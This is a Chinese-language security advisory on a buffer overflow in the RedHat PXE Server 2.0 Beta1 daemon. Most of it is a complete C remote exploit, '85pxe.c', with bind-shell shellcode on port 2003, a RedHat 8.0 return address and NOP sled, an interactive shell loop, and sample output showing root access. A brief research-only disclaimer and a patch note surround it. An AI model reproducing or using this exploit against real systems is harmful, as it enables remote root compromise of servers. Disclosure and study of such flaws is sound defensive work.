发布日期：2003-03-17
更新日期：2003-03-24

受影响系统：

RedHat PXE Server 2.0 Beta1

描述：

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BUGTRAQ  ID: 7129

Red Hat Linux是一款开放源代码Linux操作系统，包含Preboot eXecution Environment (PXE)服务程序。

PXE服务程序对用户提交的输入缺少正确处理，远程攻击者可以利用这个漏洞对PXE服务进行缓冲区溢出攻击，可能以PXE服务进程权限在系统上执行任意指令。

远程攻击者提交超长数据给PXE服务，就可以溢出缓冲区，导致破坏进程内存中敏感数据，精心构建提交数据可能以PXE服务进程权限在系统上执行任意指令。

<*来源：n-arrow （n-arrow@efnet）
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

CrZ（crazy_einstein@yahoo.com） LByte（lbyte@void.ru） 提供了如下测试程序：

/*
\me: 85pxe.c
/
\  Target daemon: Intel PXE daemon, PXE-2.0 Beta-1 (build 001)
/
\  Created by CrZ [crazy_einstein@yahoo.com] LByte [lbyte.void.ru] /13.03.03/
/
\  Bug was discovered by n-arrow @efnet
/
\  !!! PRIVATE REMOTE PXE EXPLOIT !!!
/
\  Description: pxe is a daemon included in RedHat8.0 distr.
/               this daemon bind socket on 4011 udp port.
\
/  Important Note: pxe will crush if return address isn't valid.
\                  So.. make sure that return address is valid :)
/  
\  Tested against: RedHat 8.0 (Psyche)
/
\  Example of work:
/
\[crz@blacksand tmp]$ ./85pxe -h blacksand -t 0
/
\LimpidByte private remote pxe exploit by CrZ [crazy_einstein@yahoo.com]
/
\[!] Connecting to blacksand:4011
/[+] Connected!
\[!] Using 0xbffff05c return address!
/[>] Sending shellcode!
\[*] Trying to connect to blacksand:2003 port!!! Pray for success!
/[*] Sleeping at 2 seconds...
\[!] Connected! Here comes the shell baby...x)
/
\uid=0(root) gid=0(root)
/Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
\exit
/[!] Connection closed.
\[crz@blacksand tmp]$
/
\
*/
#include <stdio.h>
#include <netinet/in.h>  
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
/* bind shell upon 2003 port */
char shell[] =
         "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
         "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
"\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
"\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
"\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
"\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
"\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
  
struct TARGETS {
char *distr;
long ret;
} targets[] = { {"RedHat 8.0 (Psyche)", 0xbffff05c} };

long getip(char *hostname) {
struct hostent *he;
long ipaddr;

if ((ipaddr = inet_addr(hostname)) < 0) {
if ((he = gethostbyname(hostname)) == NULL) {
perror("gethostbyname()");
exit(-1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
void usage(char *prog) {
int i=0;

printf("\nUsage: %s <-h www.victim.com> [-p port] [-t target] [-r manual_retaddr]\n\nTargets:\n",prog);
while(targets[i++].distr) printf("\t[%d] -> %s\n",i-1,targets[i-1].distr);
printf("\n");
exit(0);
}
int main(int argc, char **argv) {

    int i=0;    
    struct sockaddr_in sockstruct;
    struct hostent *HOST;
    char tmp[10000];
    int sock;
    fd_set  rset;
int port=4011,shellport=2003;
char *victim=NULL;
long ret=0,ret1,ret2,ret3;
printf("\nLimpidByte private remote pxe exploit by CrZ [crazy_einstein@yahoo.com]\n");
for(i=0;i<argc;i++) {
if(argv[i][1]=='h') victim=argv[i+1];
if(argv[i][1]=='p') port=atoi(argv[i+1]);
if(argv[i][1]=='t') ret=targets[atoi(argv[i+1])].ret;
                if(argv[i][1]=='r') sscanf(argv[i+1],"0x%x",&ret);
}
if(!victim || ret==0) usage(argv[0]);
/* prepare for our smart trick :) */
ret1=ret+2;
ret2=ret+3;
ret3=ret;
    
    sock=socket(PF_INET,SOCK_DGRAM,17);
    sockstruct.sin_family=PF_INET;
    sockstruct.sin_addr.s_addr=getip(victim);
    sockstruct.sin_port=htons(port);
    printf("\n[!] Connecting to %s:%d\n",victim,port);
  
      if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {
        printf("[+] Connected!\n",i);
/* the main trick */
bzero(tmp,sizeof tmp);
memcpy(tmp,&ret1,4);
memcpy(tmp+4,&ret2,4);
memset(tmp+8,0x90,894-8);
memcpy(tmp+894,&shell,sizeof shell);
memcpy(tmp+1024,&ret3,4);
printf("[!] Using 0x%x return address!\n",ret);
printf("[>] Sending shellcode!\n");
write(sock,tmp,1024 + 4);
      }
    
      close(sock);
printf("[*] Trying to connect to %s:%d port!!! Pray for success!\n",victim,shellport);
printf("[*] Sleeping at 2 seconds...\n");
sleep(2);

        sock=socket(PF_INET,SOCK_STREAM,0);
bzero(sockstruct.sin_zero,sizeof(sockstruct.sin_zero));
sockstruct.sin_family=PF_INET;
        sockstruct.sin_addr.s_addr=getip(victim);
        sockstruct.sin_port=htons(shellport);
        if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {
        printf("[!] Connected! Here comes the shell baby...x)\n\n");
        write(sock, "id;uname -a\n", 12);
        while (1) {
                FD_ZERO(&rset);
                FD_SET(sock,&rset);
                FD_SET(STDIN_FILENO,&rset);
                select(sock + 1, &rset, NULL, NULL, NULL);
       if (FD_ISSET(sock, &rset)) {
                        i = read(sock, tmp, sizeof(tmp) - 1);
                        if (i <= 0) {
                                printf("[!] Connection closed.\n");
                                close(sock);
                                exit(0);
                        }
                        tmp[i] = 0;
                        printf("%s", tmp);
                }
                if (FD_ISSET(STDIN_FILENO, &rset)) {
                        i = read(STDIN_FILENO, tmp, sizeof(tmp) - 1);
                        if (i > 0) {
                                tmp[i]=0;
                                write(sock, tmp, i);
                        }
                }
        }
        } else printf("[x] Bad luck x(\n\n");
        close(sock);

      
    return 0;
}

建议：

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厂商补丁：

RedHat
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.redhat.com/apps/support/errata/index.html

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